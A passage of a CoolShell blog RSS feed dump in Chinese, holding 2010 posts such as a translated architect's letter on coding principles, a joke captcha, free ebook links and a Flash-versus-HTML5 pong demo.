，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/7755.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/git.log_.01-150x150.png\" alt=\"Git显示漂亮日志的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7755.html\" class=\"wp_rp_title\">Git显示漂亮日志的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/93.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/03/tortoisesvn-150x150.png\" alt=\"版本控制Subversion相关资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/93.html\" class=\"wp_rp_title\">版本控制Subversion相关资源</a></li><li ><a href=\"https://coolshell.cn/articles/2363.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" alt=\"MSDN中的两个命名\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2363.html\" class=\"wp_rp_title\">MSDN中的两个命名</a></li><li ><a href=\"https://coolshell.cn/articles/7126.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" alt=\"这到底是谁之错？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7126.html\" class=\"wp_rp_title\">这到底是谁之错？</a></li><li ><a href=\"https://coolshell.cn/articles/2704.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"检查素数的正则表达式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2704.html\" class=\"wp_rp_title\">检查素数的正则表达式</a></li><li ><a href=\"https://coolshell.cn/articles/428.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"程序员需要具备的基本技能\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/428.html\" class=\"wp_rp_title\">程序员需要具备的基本技能</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3288.html\">版本管理器的发展史</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3288.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>25</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>架构师给程序员的一封信</title>\n\t\t<link>https://coolshell.cn/articles/3281.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3281.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 16 Nov 2010 01:12:04 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3281</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面的邮件是某Architect发给他的Engineering团队的（来源），我觉得挺不错的，翻译过来，我相信我们所有的程序员都能从中学到很多东西。下面是这封邮...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3281.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3281.html\">架构师给程序员的一封信</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面的邮件是某Architect发给他的Engineering团队的（<a href=\"http://blog.kapilkaisare.info/from-an-architect-to-a-programmer?c=1\" target=\"_blank\">来源</a>），我觉得挺不错的，翻译过来，我相信我们所有的程序员都能从中学到很多东西。下面是这封邮件——</p>\n<div>\n<p style=\"padding-left: 30px;\">每次当我开始做新的东西是我就会很兴奋。就算在软件圈里做了20年以后，每当开始新的旅程里，我都觉得我心中有一些东西不吐不快。这是我们大家一起的旅程。我强烈地相信我们详细规划的过程是很有乐趣的，富有挑战的和丰富多彩的。我想让这个旅程让你们难忘，并且能增添你们所有人的阅历。</p>\n<p style=\"padding-left: 30px;\">这看起来有些唯心主义，不过，我想制订我的工作日程，我们的技术策略，以及你们密切合作的进度。这样一来，当你们做了什么相当不错的事，我们所有人都可以受益。我相当的尊重第一个工程师和他们的代码。</p>\n<p style=\"padding-left: 30px;\">1. 代码是王。文档仅随其后 。所以，代码一定要和文档一致，并可以正确执行。</p>\n<p style=\"padding-left: 30px;\">2. 测试，测试，测试。</p>\n<p style=\"padding-left: 30px;\">3. 单元测试非常关键 。每一个在单元测试之后发现的bug需要开发人员双倍的开销。记住，我宁可增加你的薪水，也不愿意把这些钱发给另一个QA团队然后你再修正bug。因此，如果你的代码满是bug的话，我不得不把钱付给更多的人，而你也只能分得很小的一块饼。</p>\n<p style=\"padding-left: 30px;\">4. 写下有效率的代码，不但是让人读得有效率，而且也是让CPU执行 地有效率。对于坏代码永远不会善罢甘休。</p>\n<p style=\"padding-left: 30px;\">5. 多了解今天工作需要之外的事情。你不仅仅要知道今天干什么，还要知道明天需要什么。</p>\n<p style=\"padding-left: 30px;\"><span id=\"more-3281\"></span></p>\n<p style=\"padding-left: 30px;\">6. 回家时不时做点菜，是的，真正的做菜。这会教会你菜谱和做饭的不同。菜谱告诉你这道菜需要什么样的食材，而你实际去做需要考虑的是你现在手上有什么……这就是其中的不同。（对于一个刚起步的公司，这是一个最大的教训）</p>\n<p style=\"padding-left: 30px;\">7. 创新和好点子（技术或是产品），请与大家共享。</p>\n<p style=\"padding-left: 30px;\">8. 我知道你不喜欢商人。我也知道为什么。他们销售那些你做不到的，他们承诺那些你完不成的。他们要求的比他们付出的更多。但是，没有他们，我们可能没有办法把商业转换成产品。这是一件很难的技能。把你的想法告诉我，我愿意成为你和他们间的缓冲。要建造一个好的团队，我们需要的所有的东西。</p>\n<p style=\"padding-left: 30px;\">9. 作为一个工程师，热爱你的专业。你能拥有一个可以挣钱、受人尊重、并拥有乐趣的程序员人生。</p>\n<p>你觉得怎么样？</p>\n</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3281.html\">架构师给程序员的一封信</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3281.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>19</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-24.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 24 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=24\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Tue, 17 Jul 2012 07:21:21 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>超强的验证码</title>\n\t\t<link>https://coolshell.cn/articles/3277.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3277.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 08 Nov 2010 10:36:50 +0000</pubDate>\n\t\t\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Captcha]]></category>\n\t\t<category><![CDATA[验证码]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3277</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>大家看看这个网站吧。最强的验证码——把看到的东西画出来。 http://www.geee.net/contact.htm 某些网友们还是做了一些尝试： （转载本...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3277.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3277.html\">超强的验证码</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>大家看看这个网站吧。最强的验证码——把看到的东西画出来。</p>\n<p><a href=\"http://www.geee.net/contact.htm\" target=\"_blank\">http://www.geee.net/contact.htm</a></p>\n<p style=\"text-align: center;\"><a href=\"http://www.geee.net/contact.htm\"><img decoding=\"async\" class=\" wp-image-3278 aligncenter\" title=\"无敌的验证码\" src=\"https://coolshell.cn/wp-content/uploads/2010/11/capcha.jpg\" alt=\"\" /></a></p>\n<p>某些网友们还是做了一些尝试：</p>\n<p><span id=\"more-3277\"></span></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone\" src=\"http://i.imgur.com/hgLYS.jpg\" alt=\"\" width=\"355\" height=\"555\" /></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone\" src=\"http://i.imgur.com/Bo3OC.jpg\" alt=\"\" width=\"445\" height=\"264\" /></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/7917.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/0-150x150.jpg\" alt=\"各式各样的验证码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7917.html\" class=\"wp_rp_title\">各式各样的验证码</a></li><li ><a href=\"https://coolshell.cn/articles/1212.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"编程引言补充\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1212.html\" class=\"wp_rp_title\">编程引言补充</a></li><li ><a href=\"https://coolshell.cn/articles/822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"Linux磁盘使用命令du的改进\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/822.html\" class=\"wp_rp_title\">Linux磁盘使用命令du的改进</a></li><li ><a href=\"https://coolshell.cn/articles/1152.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" alt=\"关于 Chrome OS 的一些推论\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1152.html\" class=\"wp_rp_title\">关于 Chrome OS 的一些推论</a></li><li ><a href=\"https://coolshell.cn/articles/1441.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" alt=\"WebTTY！太酷了！\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1441.html\" class=\"wp_rp_title\">WebTTY！太酷了！</a></li><li ><a href=\"https://coolshell.cn/articles/1399.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/09/bashprompts-hurring-150x150.jpg\" alt=\"8个实用而有趣Bash命令提示行\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1399.html\" class=\"wp_rp_title\">8个实用而有趣Bash命令提示行</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3277.html\">超强的验证码</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3277.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>26</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>两本电子书</title>\n\t\t<link>https://coolshell.cn/articles/3270.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3270.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 08 Nov 2010 03:47:09 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[book]]></category>\n\t\t<category><![CDATA[ebook]]></category>\n\t\t<category><![CDATA[Python]]></category>\n\t\t<category><![CDATA[Windows]]></category>\n\t\t<category><![CDATA[Windows Phone 7]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3270</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Learn Python The Hard Way (pdf) Programming Windows Phone 7 (Charles Petzold) （转...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3270.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3270.html\">两本电子书</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"http://learnpythonthehardway.org/static/LearnPythonTheHardWay.pdf\" target=\"_blank\"><strong>Learn Python The Hard Way (pdf)</strong></a></p>\n<p style=\"text-align: center;\"><strong> </strong></p>\n<figure id=\"attachment_3272\" aria-describedby=\"caption-attachment-3272\" style=\"width: 245px\" class=\"wp-caption aligncenter\"><a href=\"http://learnpythonthehardway.org/static/LearnPythonTheHardWay.pdf\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-3272\" title=\"Learn Python The Hard Way\" src=\"https://coolshell.cn/wp-content/uploads/2010/11/Learn-Python-The-Hard-Way.jpg\" alt=\"\" width=\"245\" height=\"320\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/11/Learn-Python-The-Hard-Way.jpg 245w, https://coolshell.cn/wp-content/uploads/2010/11/Learn-Python-The-Hard-Way-230x300.jpg 230w, https://coolshell.cn/wp-content/uploads/2010/11/Learn-Python-The-Hard-Way-207x270.jpg 207w\" sizes=\"(max-width: 245px) 100vw, 245px\" /></a><figcaption id=\"caption-attachment-3272\" class=\"wp-caption-text\">Learn Python The Hard Way</figcaption></figure>\n<p><a href=\"http://download.microsoft.com/download/5/0/A/50A39509-D015-410F-A8F2-A5511E5A988D/Microsoft_Press_ebook_Programming_Windows_Phone_7_PDF.pdf\" target=\"_blank\"><strong>Programming Windows Phone 7 (Charles Petzold)</strong></a></p>\n<p><figure id=\"attachment_3271\" aria-describedby=\"caption-attachment-3271\" style=\"width: 245px\" class=\"wp-caption aligncenter\"><a href=\"http://download.microsoft.com/download/5/0/A/50A39509-D015-410F-A8F2-A5511E5A988D/Microsoft_Press_ebook_Programming_Windows_Phone_7_PDF.pdf\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-3271\" title=\"Programming Windows Phone 7 by Charles Petzold\" src=\"https://coolshell.cn/wp-content/uploads/2010/11/Free-Ebook-Programming-Windows-Phone-7-by-Charles-Petzold.jpg\" alt=\"\" width=\"245\" height=\"299\" /></a><figcaption id=\"caption-attachment-3271\" class=\"wp-caption-text\">Programming Windows Phone 7 by Charles Petzold</figcaption></figure><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/4710.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"Python 和 PyGame 的一些示例\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4710.html\" class=\"wp_rp_title\">Python 和 PyGame 的一些示例</a></li><li ><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"一些有意思的文章和资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_title\">一些有意思的文章和资源</a></li><li ><a href=\"https://coolshell.cn/articles/3192.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/Intel-Recommended-Books-for-Developers-150x150.jpg\" alt=\"一些非常不错的资料\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3192.html\" class=\"wp_rp_title\">一些非常不错的资料</a></li><li ><a href=\"https://coolshell.cn/articles/2775.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/22.jpg\" alt=\"免费电子书列表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2775.html\" class=\"wp_rp_title\">免费电子书列表</a></li><li ><a href=\"https://coolshell.cn/articles/1157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" alt=\"Python 自然语言处理\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1157.html\" class=\"wp_rp_title\">Python 自然语言处理</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3270.html\">两本电子书</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3270.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>10</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>游戏Flash vs HTML5</title>\n\t\t<link>https://coolshell.cn/articles/3267.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3267.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 05 Nov 2010 03:16:25 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Flash]]></category>\n\t\t<category><![CDATA[Game]]></category>\n\t\t<category><![CDATA[HTML]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3267</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面这个网页上做一个乒乓游戏，左边是Flash，右边是HTML5，很有趣。这也算是一个Flash和HTML5通讯的例子吧。 http://labs.codeco...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3267.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3267.html\">游戏Flash vs HTML5</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面这个网页上做一个乒乓游戏，左边是Flash，右边是HTML5，很有趣。这也算是一个Flash和HTML5通讯的例子吧。</p>\n<p style=\"text-align: center;\"><a href=\"http://labs.codecomputerlove.com/FlashVsHtml5/\" target=\"_blank\">http://labs.codecomputerlove.com/FlashVsHtml5/</a></p>\n<p style=\"text-align: center;\">\n<p style=\"text-align: left;\"><a href=\"http://labs.codecomputerlove.com/FlashVsHtml5/\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-3268\" title=\"flash vs html5\" src=\"https://coolshell.cn/wp-content/uploads/2010/11/flash_vs_html5.jpg\" alt=\"\" width=\"521\" height=\"347\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/11/flash_vs_html5.jpg 521w, https://coolshell.cn/wp-content/uploads/2010/11/flash_vs_html5-300x200.jpg 300w, https://coolshell.cn/wp-content/uploads/2010/11/flash_vs_html5-405x270.jpg 405w\" sizes=\"(max-width: 521px) 100vw, 521px\" /></a></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/11/stackparts.com_-150x150.png\" alt=\"一些文章资源和趣闻\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_title\">一些文章资源和趣闻</a></li><li ><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"一些有意思的贴子和工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_title\">一些有意思的贴子和工具</a></li><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/3516.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" alt=\"JS游戏引擎列表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3516.html\" class=\"wp_rp_title\">JS游戏引擎列表</a></li><li ><a href=\"https://coolshell.cn/articles/3421.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/12/Liquid-150x150.jpg\" alt=\"流体力学的演示\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3421.html\" class=\"wp_rp_title\">流体力学的演示</a></li><li ><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/biolab-150x150.jpg\" alt=\"一些非常有意思的杂项资源\" width=\"150\" height=\"150\" /></a><a 